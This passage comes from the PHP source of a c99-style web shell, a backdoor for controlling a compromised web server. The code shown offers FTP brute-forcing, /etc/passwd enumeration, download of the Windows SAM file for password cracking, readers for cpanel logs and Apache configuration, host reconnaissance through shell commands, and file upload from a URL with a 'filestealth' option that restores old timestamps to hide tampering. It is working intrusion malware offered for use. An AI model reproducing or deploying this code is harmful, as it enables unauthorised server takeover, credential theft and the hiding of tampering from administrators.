2990 echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell? <input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging? <input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file? <input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail? <input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
2991
2992 }
2993
2994 }
2995
2996}
2997
2998if ($act == "d")
2999
3000{
3001
3002 if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
3003
3004 else
3005
3006 {
3007
3008 echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
3009
3010 if (!$win)
3011
3012 {
3013
3014 echo "<tr><td><b>Owner/Group</b></td><td> ";
3015
3016 $ow = posix_getpwuid(fileowner($d));
3017
3018 $gr = posix_getgrgid(filegroup($d));
3019
3020 $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
3021
3022 }
3023
3024 echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
3025
3026 }
3027
3028}
3029
3030if ($act == "phpinfo") {@ob_clean(); phpinfo(); c999shexit();}
3031
3032if ($act == "security")
3033
3034{
3035
3036 echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>";
3037
3038 if (!$win)
3039
3040 {
3041
3042 if ($nixpasswd)
3043
3044 {
3045
3046 if ($nixpasswd == 1) {$nixpasswd = 0;}
3047
3048 echo "<b>*nix /etc/passwd:</b><br>";
3049
3050 if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
3051
3052 if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
3053
3054 echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>";
3055
3056 $i = $nixpwd_s;
3057
3058 while ($i < $nixpwd_e)
3059
3060 {
3061
3062 $uid = posix_getpwuid($i);
3063
3064 if ($uid)
3065
3066 {
3067
3068 $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
3069
3070 echo join(":",$uid)."<br>";
3071
3072 }
3073
3074 $i++;
3075
3076 }
3077
3078 }
3079
3080 else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
3081
3082 }
3083
3084 else
3085
3086 {
3087
3088 $v = $_SERVER["WINDIR"]."\repair\sam";
3089
3090 if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";}
3091
3092 else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?В©.</font></b><br>";}
3093
3094 }
3095
3096 if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
3097
3098 if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";}
3099
3100 if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
3101
3102 if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
3103
3104 if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";}
3105
3106 if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";}
3107
3108 if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";}
3109
3110 function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
3111
3112 displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
3113
3114 displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
3115
3116 displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
3117
3118 displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
3119
3120 displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
3121
3122 displaysecinfo("RAM",myshellexec("free -m"));
3123
3124 displaysecinfo("HDD space",myshellexec("df -h"));
3125
3126 displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
3127
3128 displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
3129
3130 displaysecinfo("Is cURL installed?",myshellexec("which curl"));
3131
3132 displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
3133
3134 displaysecinfo("Is links installed?",myshellexec("which links"));
3135
3136 displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
3137
3138 displaysecinfo("Is GET installed?",myshellexec("which GET"));
3139
3140 displaysecinfo("Is perl installed?",myshellexec("which perl"));
3141
3142 displaysecinfo("Where is apache",myshellexec("whereis apache"));
3143
3144 displaysecinfo("Where is perl?",myshellexec("whereis perl"));
3145
3146 displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
3147
3148 displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
3149
3150 displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
3151
3152 displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
3153
3154}
3155
3156if ($act == "mkfile")
3157
3158{
3159
3160 if ($mkfile != $d)
3161
3162 {
3163
3164 if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
3165
3166 elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
3167
3168 else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
3169
3170 }
3171
3172 else {$act = $dspact = "ls";}
3173
3174}
3175
3176if ($act == "encoder")
3177
3178{
3179
3180 echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
3181
3182 foreach(array("md5","crypt","sha1","crc32") as $v)
3183
3184 {
3185
3186 echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
3187
3188 }
3189
3190 echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
3191
3192 <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
3193
3194 <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
3195
3196 echo "<center>base64_decode - ";
3197
3198 if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
3199
3200 else
3201
3202 {
3203
3204 $debase64 = base64_decode($encoder_input);
3205
3206 $debase64 = str_replace("\0","[0]",$debase64);
3207
3208 $a = explode("\r\n",$debase64);
3209
3210 $rows = count($a);
3211
3212 $debase64 = htmlspecialchars($debase64);
3213
3214 if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
3215
3216 else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
3217
3218 echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
3219
3220 }
3221
3222 echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
3223
3224 $c = strlen($encoder_input);
3225
3226 for($i=0;$i<$c;$i++)
3227
3228 {
3229
3230 $hex = dechex(ord($encoder_input[$i]));
3231
3232 if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
3233
3234 elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
3235
3236 }
3237
3238 echo "\" readonly><br></center></form>";
3239
3240}
3241
3242if ($act == "fsbuff")
3243
3244{
3245
3246 $arr_copy = $sess_data["copy"];
3247
3248 $arr_cut = $sess_data["cut"];
3249
3250 $arr = array_merge($arr_copy,$arr_cut);
3251
3252 if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
3253
3254 else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
3255
3256}
3257
3258
3259
3260
3261if ($act == "search")
3262
3263{
3264
3265 echo "<b>Search in file-system:</b><br>";
3266
3267 if (empty($search_in)) {$search_in = $d;}
3268
3269 if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
3270
3271 if (empty($search_text_wwo)) {$search_text_regexp = 0;}
3272
3273 if (!empty($submit))
3274
3275 {
3276
3277 $found = array();
3278
3279 $found_d = 0;
3280
3281 $found_f = 0;
3282
3283 $search_i_f = 0;
3284
3285 $search_i_d = 0;
3286
3287 $a = array
3288
3289 (
3290
3291 "name"=>$search_name, "name_regexp"=>$search_name_regexp,
3292
3293 "text"=>$search_text, "text_regexp"=>$search_text_regxp,
3294
3295 "text_wwo"=>$search_text_wwo,
3296
3297 "text_cs"=>$search_text_cs,
3298
3299 "text_not"=>$search_text_not
3300
3301 );
3302
3303 $searchtime = getmicrotime();
3304
3305 $in = array_unique(explode(";",$search_in));
3306
3307 foreach($in as $v) {c999fsearch($v);}
3308
3309 $searchtime = round(getmicrotime()-$searchtime,4);
3310
3311 if (count($found) == 0) {echo "<b>No files found!</b>";}
3312
3313 else
3314
3315 {
3316
3317 $ls_arr = $found;
3318
3319 $disp_fullpath = TRUE;
3320
3321 $act = "ls";
3322
3323 }
3324
3325 }
3326
3327 echo "<form method=POST>
3328
3329<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
3330
3331<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\"> <input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
3332
3333<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
3334
3335<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
3336
3337<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
3338
3339 <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
3340
3341 <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
3342
3343 <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
3344
3345<br><br><input type=submit name=submit value=\"Search\"></form>";
3346
3347 if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
3348
3349}
3350
3351if ($act == "chmod")
3352
3353{
3354
3355 $mode = fileperms($d.$f);
3356
3357 if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
3358
3359 else
3360
3361 {
3362
3363 $form = TRUE;
3364
3365 if ($chmod_submit)
3366
3367 {
3368
3369 $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
3370
3371 if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
3372
3373 else {$err = "Can't chmod to ".$octet.".";}
3374
3375 }
3376
3377 if ($form)
3378
3379 {
3380
3381 $perms = parse_perms($mode);
3382
3383 echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
3384
3385 }
3386
3387 }
3388
3389}
3390
3391if ($act == "upload") {
3392 $uploadmess = "";
3393 $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
3394 if (empty($uploadpath)) {$uploadpath = $d;}
3395 elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
3396 if (!empty($submit)) {
3397 global $_FILES;
3398 $uploadfile = $_FILES["uploadfile"];
3399 if (!empty($uploadfile["tmp_name"])) {
3400 if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
3401 else {$destin = $userfilename;}
3402 if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
3403 $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
3404 }
3405 else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
3406 }
3407 elseif (!empty($uploadurl)) {
3408 if (!empty($uploadfilename)) {$destin = $uploadfilename;}
3409 else {
3410 $destin = explode("/",$destin);
3411 $destin = $destin[count($destin)-1];
3412 if (empty($destin)) {
3413 $i = 0;
3414 $b = "";
3415 while(file_exists($uploadpath.$destin)) {
3416 if ($i > 0) {$b = "_".$i;}
3417 $destin = "upload".$b;
3418 $i++;
3419 }
3420 }
3421 }
3422 if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorrect URL!</b>";}
3423 else {
3424 $st = getmicrotime();
3425 $content = @file_get_contents($uploadurl);
3426 $dt = round(getmicrotime()-$st,4);
3427 if (!$content) {$uploadmess .= "Can't download file!";}
3428 else {
3429 if ($filestealth) {$stat = stat($uploadpath.$destin);}
3430 $fp = fopen($uploadpath.$destin,"w");
3431 if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
3432 else {
3433 fwrite($fp,$content,strlen($content));
3434 fclose($fp);
3435 if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
3436 $uploadmess .= "File saved from ".$uploadurl." !";
3437 }
3438 }
3439 }
3440 }
3441 else { echo "No file to upload!"; }
3442 }
3443 if ($miniform) {
3444 echo "<center><b>".$uploadmess."</b></center>";
3445 $act = "ls";
3446 }
3447 else {
3448 echo "<table><tr><td colspan=2 class=barheader>".
3449 ".: File Upload :.</td>".
3450 "<td colspan=2>".$uploadmess."</td></tr>".
3451 "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."x=upload&d=".urlencode($d)."\" method=POST>".
3452 "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
3453 "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
3454 "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
3455 "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
3456 "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
3457 "<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
3458 "</form></td></tr></table>";
3459 }
3460}
3461
3462if ($act == "delete")
3463
3464{
3465
3466 $delerr = "";
3467
3468 foreach ($actbox as $v)
3469
3470 {
3471
3472 $result = FALSE;
3473
3474 $result = fs_rmobj($v);
3475
3476 if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
3477
3478 }
3479
3480 if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
3481
3482 $act = "ls";
3483
3484}
3485
3486if (!$usefsbuff)
3487
3488{
3489
3490 if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
3491
3492}
3493
3494else
3495
3496{
3497
3498 if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c999_sess_put($sess_data); $act = "ls"; }
3499
3500 elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c999_sess_put($sess_data); $act = "ls";}
3501
3502 elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c999_sess_put($sess_data); $act = "ls";}
3503
3504 if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c999_sess_put($sess_data);}
3505
3506 elseif ($actpastebuff)
3507
3508 {
3509
3510 $psterr = "";
3511
3512 foreach($sess_data["copy"] as $k=>$v)
3513
3514 {
3515
3516 $to = $d.basename($v);
3517
3518 if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
3519
3520 if ($copy_unset) {unset($sess_data["copy"][$k]);}
3521
3522 }
3523
3524 foreach($sess_data["cut"] as $k=>$v)
3525
3526 {
3527
3528 $to = $d.basename($v);
3529
3530 if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
3531
3532 unset($sess_data["cut"][$k]);
3533
3534 }
3535
3536 c999_sess_put($sess_data);
3537
3538 if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
3539
3540 $act = "ls";
3541
3542 }
3543
3544 elseif ($actarcbuff)
3545
3546 {
3547
3548 $arcerr = "";
3549
3550 if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
3551
3552 else {$ext = ".tar.gz";}
3553
3554 if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
3555
3556 $cmdline .= " ".$actarcbuff_path;
3557
3558 $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
3559
3560 foreach($objects as $v)
3561
3562 {
3563
3564 $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
3565
3566 if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
3567
3568 if (is_dir($v))
3569
3570 {
3571
3572 if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
3573
3574 $v .= "*";
3575
3576 }
3577
3578 $cmdline .= " ".$v;
3579
3580 }
3581
3582 $tmp = realpath(".");
3583
3584 chdir($d);
3585
3586 $ret = myshellexec($cmdline);
3587
3588 chdir($tmp);
3589
3590 if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
3591
3592 $ret = str_replace("\r\n","\n",$ret);
3593
3594 $ret = explode("\n",$ret);
3595
3596 if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
3597
3598 foreach($sess_data["cut"] as $k=>$v)
3599
3600 {
3601
3602 if (in_array($v,$ret)) {fs_rmobj($v);}
3603
3604 unset($sess_data["cut"][$k]);
3605
3606 }
3607
3608 c999_sess_put($sess_data);
3609
3610 if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
3611
3612 $act = "ls";
3613
3614 }
3615
3616 elseif ($actpastebuff)
3617
3618 {
3619
3620 $psterr = "";
3621
3622 foreach($sess_data["copy"] as $k=>$v)
3623
3624 {
3625
3626 $to = $d.basename($v);
3627
3628 if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
3629
3630 if ($copy_unset) {unset($sess_data["copy"][$k]);}
3631
3632 }
3633
3634 foreach($sess_data["cut"] as $k=>$v)
3635
3636 {
3637
3638 $to = $d.basename($v);
3639
3640 if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
3641
3642 unset($sess_data["cut"][$k]);
3643
3644 }
3645
3646 c999_sess_put($sess_data);
3647
3648 if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
3649
3650 $act = "ls";
3651
3652 }
3653
3654}
3655
3656
3657
3658if ($act == "ls")
3659
3660{
3661
3662 if (count($ls_arr) > 0) {$list = $ls_arr;}
3663
3664 else
3665
3666 {
3667
3668 $list = array();
3669
3670 if ($h = @opendir($d))
3671
3672 {
3673
3674 while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
3675
3676 closedir($h);
3677
3678 }
3679
3680 else {}
3681
3682 }
3683
3684 if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
3685
3686 else
3687
3688 {
3689
3690 //Building array
3691
3692 $objects = array();
3693
3694 $vd = "f"; //Viewing mode
3695
3696
3697
3698 if ($vd == "f")
3699
3700 {
3701
3702 $objects["head"] = array();
3703
3704 $objects["folders"] = array();
3705
3706 $objects["links"] = array();
3707
3708 $objects["files"] = array();
3709
3710 foreach ($list as $v)
3711
3712 {
3713
3714 $o = basename($v);
3715
3716 $row = array();
3717
3718 if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
3719
3720 elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
3721
3722 elseif (is_dir($v))
3723
3724 {
3725
3726 if (is_link($v)) {$type = "LINK";}
3727
3728 else {$type = "DIR";}
3729
3730 $row[] = $v;
3731
3732 $row[] = $type;
3733
3734 }
3735
3736 elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
3737
3738 $row[] = filemtime($v);
3739
3740 if (!$win)
3741
3742 {
3743
3744 $ow = posix_getpwuid(fileowner($v));
3745
3746 $gr = posix_getgrgid(filegroup($v));
3747
3748 $row[] = ($ow["name"]?$ow["name"]:fileowner($v)).":".($gr["name"]?$gr["name"]:filegroup($v));
3749
3750 }
3751
3752 $row[] = fileperms($v);
3753
3754 if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
3755
3756 elseif (is_link($v)) {$objects["links"][] = $row;}
3757
3758 elseif (is_dir($v)) {$objects["folders"][] = $row;}
3759
3760 elseif (is_file($v)) {$objects["files"][] = $row;}
3761
3762 $i++;
3763
3764 }
3765
3766
3767 $parsesort = parsesort($sort);
3768
3769 $sort = $parsesort[0].$parsesort[1];
3770
3771 $k = $parsesort[0];
3772
3773 if ($parsesort[1] != "a") {$parsesort[1] = "d";}
3774
3775 $row = array();
3776
3777 $row[] = "<b><center><a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">Name</a></center></b>";
3778
3779 $row[] = "<b><center>Size</center></b>";
3780
3781 $row[] = "<b><center>Modify</center></b>";
3782
3783 if (!$win)
3784
3785 {$row[] = "<b><center>Owner:Group</center></b>";}
3786
3787 $row[] = "<b><center>Perms</center></b>";
3788
3789 $row[] = "<b><center>Action</center></b>";
3790
3791
3792
3793 $row[$k] .= $y;
3794
3795 for($i=0;$i<count($row)-1;$i++)
3796
3797 {
3798
3799 if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
3800
3801 }
3802
3803 $v = $parsesort[0];
3804
3805 usort($objects["folders"], "tabsort");
3806
3807 usort($objects["links"], "tabsort");
3808
3809 usort($objects["files"], "tabsort");
3810
3811 if ($parsesort[1] == "d")
3812
3813 {
3814
3815 $objects["folders"] = array_reverse($objects["folders"]);
3816
3817 $objects["files"] = array_reverse($objects["files"]);
3818
3819 }
3820
3821 $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
3822
3823 $tab = array();
3824
3825 $tab["cols"] = array($row);
3826
3827 $tab["head"] = array();
3828
3829 $tab["folders"] = array();
3830
3831 $tab["links"] = array();
3832
3833 $tab["files"] = array();
3834
3835 $i = 0;
3836
3837 foreach ($objects as $a)
3838
3839 {
3840
3841 $v = $a[0];
3842
3843 $o = basename($v);
3844
3845 $dir = dirname($v);
3846
3847 if ($disp_fullpath) {$disppath = $v;}
3848
3849 else {$disppath = $o;}
3850
3851 $disppath = str2mini($disppath,60);
3852
3853 if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
3854
3855 elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
3856
3857 foreach ($regxp_highlight as $r)
3858
3859 {
3860
3861 if (ereg($r[0],$o))
3862
3863 {
3864
3865 if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c999shexit();}
3866
3867 else
3868
3869 {
3870
3871 $r[1] = round($r[1]);
3872
3873 $isdir = is_dir($v);
3874
3875 if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
3876
3877 {
3878
3879 if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
3880
3881 $disppath = $r[2].$disppath.$r[3];
3882
3883 if ($r[4]) {break;}
3884
3885 }
3886
3887 }
3888
3889 }
3890
3891 }
3892
3893 $uo = $o;
3894
3895 $ud = $dir;
3896
3897 $uv = $v;
3898
3899 $row = array();
3900
3901 if ($o == ".")
3902
3903 {
3904
3905 $row[] = " <a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
3906
3907 $row[] = "LINK";
3908
3909 }
3910
3911 elseif ($o == "..")
3912
3913 {
3914
